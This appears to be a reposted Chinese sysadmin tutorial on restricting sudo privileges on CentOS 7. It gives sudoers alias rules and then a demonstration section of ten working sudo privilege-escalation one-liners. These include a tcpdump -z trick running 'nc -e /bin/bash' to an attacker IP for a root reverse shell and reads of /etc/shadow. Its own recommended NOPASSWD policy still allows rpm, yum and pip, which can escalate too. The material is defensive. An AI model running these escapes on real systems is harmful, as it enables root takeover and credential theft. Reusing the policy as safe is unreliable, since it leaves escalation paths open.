CentOS 7系统配置sudo策略(转)

一、操作目的和应用场景

某些应用系统维护人员为了工作方便,将普通用户设置为不需要输入口令即可以root身份执行任何命令。这是非常不安全的,因为一旦攻击者获得了普通账户的权限,即可在系统中执行任意指令。因此有必要制定适合于维护人员的sudo策略,使维护人员可以通过受到限制的超级用户权限处理业务上的问题,同时又不至于被攻击者利用从而对系统产生很大的伤害。下面是我的一点思考,与大家分享。

二、平台及工具版本

操作系统:CentOS 7

三、操作步骤

(一)运维人员需要执行的命令 初步将运维人员可能需要以root身份执行的命令归纳如下:

1、 服务管理

/usr/bin/systemctl start
/usr/bin/systemctl stop
/usr/bin/systemctl reload
/usr/bin/systemctl restart
/usr/bin/systemctl status
/usr/bin/systemctl enable
/usr/bin/systemctl disable

2、 进程管理

/usr/bin/nice
/usr/bin/kill
/usr/bin/killall
/usr/bin/ps
/usr/bin/top

3、 网络管理

/usr/sbin/route
/usr/sbin/ifconfig
/usr/bin/netstat

4、 存储管理

/usr/sbin/fdisk
/usr/sbin/sfdisk
/usr/sbin/parted
/usr/sbin/partprobe
/usr/bin/mount
/usr/bin/umount

5、 关闭系统

/usr/sbin/reboot
/usr/sbin/halt
/usr/sbin/poweroff

6、 软件管理

/usr/bin/rpm
/usr/bin/yum
/usr/local/bin/pip
/usr/local/bin/pip3

7、 文件管理

/usr/bin/ls
/usr/bin/cat

8、 其它

维护人员需要执行的其它命令。

(二)visudo配置

visudo  //管理员身份运行,加入下面的内容

1、 创建用户别名

User_Alias USERS = user1, user2

2、 创建命令别名

Cmnd_Alias SERVICES = /usr/sbin/service, /usr/sbin/chkconfig, /usr/bin/systemctl start *, /usr/bin/systemctl stop *, /usr/bin/systemctl reload *, /usr/bin/systemctl restart *, /usr/bin/systemctl status *, /usr/bin/systemctl enable *, /usr/bin/systemctl disable *
Cmnd_Alias PROCESS = /usr/bin/nice, /usr/bin/kill, /usr/bin/killall, /usr/bin/ps, /usr/bin/top
Cmnd_Alias NETWORKING = /usr/sbin/route, /usr/sbin/ifconfig, /usr/bin/netstat
Cmnd_Alias STORAGE = /usr/sbin/fdisk, /usr/sbin/sfdisk, /usr/sbin/parted, /usr/sbin/partprobe, /usr/bin/mount, /usr/bin/umount
Cmnd_Alias SHUTDOWN = /usr/sbin/reboot, /usr/sbin/halt, /usr/sbin/poweroff, /usr/sbin/shutdown
Cmnd_Alias SOFTWARE = /usr/bin/rpm, /usr/bin/yum, /usr/local/bin/pip, /usr/local/bin/pip3
Cmnd_Alias FILE = /usr/bin/ls, /usr/bin/cat

3、 创建sudo规则

USERS ALL = (root) NOPASSWD: SERVICES, PROCESS, NETWORKING, STORAGE, SHUTDOWN, SOFTWARE, FILE

(四)实际的例子 例如编写一个远程巡检脚本,该脚本以普通用户的身份运行,但是需要执行目标系统中的某些受限命令,访问一些受限文件。这时只需要在目标系统运行visudo,加入相关的指令即可。

visudo  //运行visudo命令,编辑/etc/sudoers文件
//创建命令别名:
Cmnd_Alias SECMAN_LOGON = /usr/bin/cat /var/log/secure*, /usr/bin/lastb, /usr/bin/journalctl _SYSTEMD_UNIT=sshd.service
Cmnd_Alias SECMAN_AUTORUN = /usr/bin/crontab -uroot -l
Cmnd_Alias SECMAN_SYSCONFIG = /usr/sbin/iptables -L -t nat -n, /usr/sbin/iptables -L -t filter -n
Cmnd_Alias SECMAN_LOG = /usr/bin/cat /root/.bash_history
Cmnd_Alias SECMAN_PROCESS = /usr/bin/sar 1 3
//创建sudo规则
secman ALL = (root) NOPASSWD: SECMAN_LOGON, SECMAN_AUTORUN, SECMAN_SYSCONFIG, SECMAN_LOG, SECMAN_PROCESS

保存退出

该远程巡检脚本中运行的命令很多,但visudo中无需加入那些普通用户身份就能得到正常结果的命令,如/usr/bin/last、cat /etc/passwd等,只将那些不使用root身份就得不到正确结果的命令加入即可。

(五)sudo提权演示 下面向大家演示一些由sudo造成提权的例子,让大家了解sudo存在的风险。可能造成sudo提权的程序包括系统自带的命令、第三方软件,以及用户编写的脚本等。大家注意,在配置sudo策略的时候不要将能够造成提权的命令放在允许执行的命令列表中。

1、 awk提权

(1) 允许用户通过sudo执行awk

编辑sudoers,允许user1用户使用sudo执行/usr/bin/awk

visudo //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/awk

(2) 提权

sudo awk ‘BEGIN {system(“/bin/bash”)}’

2、 less提权

(1) 将less加入sudo配置文件

visudo //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/less

保存退出

(2) 提权

sudo less /etc/passwd

输入!/bin/bash

3、 vim提权

(1) 将less加入sudo配置文件

visudo //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/vim

保存退出

(2) 提权 sudo vim -c ‘!bash’

4、 find提权

(1) 将find加入sudo配置文件

visudo //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/find

保存退出

(2) 提权

sudo find /usr/bin -name ls -exec /bin/bash \;

5、 tcpdump提权

(1) 创建一个可执行脚本

touch /tmp/test.sh

#!/bin/bash

nc -e /bin/bash 192.168.1.6 8080

192.168.1.6是攻击者的IP。保存退出

chmod +x /tmp/test.sh

(2) 将tcpdump加入sudo配置文件

visudo //编辑配置文件,加入下面的行

user1 ALL=/usr/sbin/tcpdump

保存退出

(3) 攻击者使用netcat监听自己机器上的8080端口

nc -l -p 8080

(4) 提权

tcpdump中有两个参数:-z和-Z。前者用来执行一个脚本,后者用来指定tcpdump以哪个用户身份运行。当可以通过sudo执行时,可以指定以root用户运行指定的脚本,从而达到提权的目的。

sudo tcpdump -ln -i enp0s3 -w /dev/null -W 1 -G 1 -z /tmp/test.sh -Z root

脚本很快结束退出,但是在攻击者的机器上已经得到了一个反向shell:

root@kali:~/# nc -l -p 8080

6、 ftp提权

(1) 允许用户通过sudo执行ftp

编辑sudoers,允许user1用户使用sudo执行/usr/bin/ftp

visudo //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/ftp

保存退出

(2) 提权

sudo ftp

!/bin/bash

7、 dmesg提权

(1) 允许用户通过sudo执行cp

编辑sudoers,允许user1用户使用sudo执行/usr/bin/dmesg

visudo //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/dmesg

保存退出

(2) 提权

sudo dmesg -H

输入!/bin/bash

8、 nmap提权

(1) 将nmap加入sudo配置文件

visudo //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/nmap

保存退出

(2) 提权 使用nse脚本提权,普通用户进行下面的操作:

echo “os.execute(‘/bin/bash’)” > /tmp/shell.nse

sudo nmap –script=/tmp/shell.nse 127.0.0.1

9、 arp提权

(1) 允许用户通过sudo执行arp

编辑sudoers,允许user1用户使用sudo执行/usr/sbin/arp

visudo //编辑配置文件,加入下面的行

user1 ALL=/usr/sbin/arp

保存退出

(2) 提权

sudo arp -v -f /etc/shadow

10、 base64提权

(1) 允许用户通过sudo执行base64

编辑sudoers,允许user1用户使用sudo执行/usr/bin/base64

visudo //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/base64

保存退出

(2) 提权

sudo base64 “/etc/shadow” | base64 –decode